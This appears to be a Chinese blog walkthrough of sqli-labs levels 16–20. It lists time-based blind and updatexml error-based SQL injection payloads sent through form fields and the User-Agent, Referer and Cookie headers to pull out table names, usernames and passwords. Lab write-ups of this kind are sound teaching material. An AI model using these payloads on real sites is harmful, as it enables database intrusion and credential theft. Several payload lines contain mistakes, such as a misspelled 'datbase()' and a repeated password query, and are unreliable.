sqli-labs靶场通关攻略(16-20关)

第十六关( ")  闭合,盲注)

这关用的时间盲注的注入方法,打法和十五关是一样的,只是闭合不同,需要使用 ") 闭合

判断数据库名长度

如果数据库名长度等于8,执行sleep(5),那么页面就会延迟发送请求五秒,根据页面的反应时间来判断,以此来得出数据库名的长度

admin") and if(length(datbase())=8, sleep(5),1)#

判断数据库名

第一个字符105 s

admin") and if(ascii(substr(database(),1,1))=115,sleep(5),1) #

 第二个字符101 e

admin") and if(ascii(substr(database(),2,1))=101,sleep(5),1) #

.....

查询完所有的字符得出库名为security

判断数据库的表名

admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit a,1),b,1))=101,sleep(5),1) #

注意这里的 a 表示所要查询的第几张表        比如:第一张表那么a=0,a的位置就填0

a是从0开始                                                                                第二张            a=1,

                   b 表示所要查询表名的第几位字符        第一个字符那么b=1,b的位置就为1

  b是从1开始                                                                              第二位                b=2

第一张表名的第一个字符

admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) #

第二位字符

admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1) #

.......

直到查完第一张表名

接下来查第二张表名

admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1) #

第二张表第二个字符

admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,sleep(5),1) #

......

判断表中字段名

admin") and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1) #

判断数据

查密码

admin") and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1) #

查用户名

admin") and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1) #

第十七关( ' 闭合 ,post报错注入)

判断注入点

输入密码后显示成功更新

尝试闭合,发现有报错,说明可能存在报错注入

查询数据库名

尝试查出数据库名

1' and (updatexml(1,concat(0x7e, database(),0x7e),1))#

查询数据库中的表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) #

表中字段名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

查数据

1' and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1)#

第十八关( '  闭合,UA注入)

判断注入点

输入正确的用户名+正确的密码,页面的回显

然后我们进行抓包,放入重放器

在user-agent后进行注入,用单引号尝试,页面报错

查询数据库名

我们引用报错函数在此查询,成功查询到数据库名

1' and updatexml(1,concat(1,(database()),1),1) and '

后面其他数据也是用此方式查询

查数据库表名

1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1) and '

这里显示返回结果超过一行,我们可以给table_name 加上group_concat成一个集合

1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '

字段名

接下来查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

查数据

查具体的username和password

1' and updatexml(1,concat(1,(select group_concat(username,password)from users)),1) and '

第十九关( ' 闭合,referer注入)

判断注入点

登录后

进⾏登录时候抓包进⾏测试.....在referer字段后进⾏测试报错

查数据库(报错注入)

'and updatexml(1,concat(1,database()),1) and '

第二十关( ' 闭合, cookie注入)

判断闭合

在Less-20使⽤ dumb dumb  进⾏登陆...并返回Cookie信息

刷新页面并抓包,并进行注入测试

查询数据库名(报错注入)

'and updatexml(1,concat(1,database()),1) --+

查询表名

' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1) --+

返回结果超过一行,给table_name 加上group_concat成一个集合

' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

查表中的字段名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

查数据

' and updatexml(1,concat(1,(select group_concat(username,password)from users)),1) --+

  • 16
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值